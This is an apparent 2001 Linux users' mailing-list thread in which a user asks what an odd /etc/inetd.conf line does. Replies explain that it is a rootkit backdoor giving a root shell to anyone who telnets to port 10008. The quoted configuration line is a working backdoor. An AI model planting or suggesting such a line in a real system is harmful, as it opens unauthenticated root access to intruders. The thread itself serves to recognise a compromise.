it's a back door installed by a root-kit which will allow root shell
access to your machine to anyone telnetting to port 10008
On Tue, 22 May 2001, dwen wrote:
>
>
> its not running, im just wondering why there's a line like that.
>
>
>
> thanks,
> dwen
>
>
> On Tue, 22 May 2001, Ian C. Sison wrote:
>
> >
> > Gee, you can find out for yourself
> >
> > try:
> >
> > telnet your-box-name 10008
> >
> > \8)
> >
> >
> > On Tue, 22 May 2001, dwen wrote:
> >
> > >
> > >
> > > file: /etc/inetd.conf
> > > i have this line :
> > >
> > > 10008 stream tcp nowait root /bin/sh sh
> > >
> > > what will it do ?
> > >
> > >
> > > thanks,
> > > dwen
> > >
> > >
> > > _
> > > Philippine Linux Users Group. Web site and archives at http://plug.linux.org.ph
> > > To leave: send "unsubscribe" in the body to [EMAIL PROTECTED]
> > >
> > > To subscribe to the Linux Newbies' List: send "subscribe" in the body to
>[EMAIL PROTECTED]
> > >
> >
> > _
> > Philippine Linux Users Group. Web site and archives at http://plug.linux.org.ph
> > To leave: send "unsubscribe" in the body to [EMAIL PROTECTED]
> >
> > To subscribe to the Linux Newbies' List: send "subscribe" in the body to
>[EMAIL PROTECTED]
> >
>
> _
> Philippine Linux Users Group. Web site and archives at http://plug.linux.org.ph
> To leave: send "unsubscribe" in the body to [EMAIL PROTECTED]
>
> To subscribe to the Linux Newbies' List: send "subscribe" in the body to
>[EMAIL PROTECTED]
>
_
Philippine Linux Users Group. Web site and archives at http://plug.linux.org.ph
To leave: send "unsubscribe" in the body to [EMAIL PROTECTED]
To subscribe to the Linux Newbies' List: send "subscribe" in the body to
[EMAIL PROTECTED]
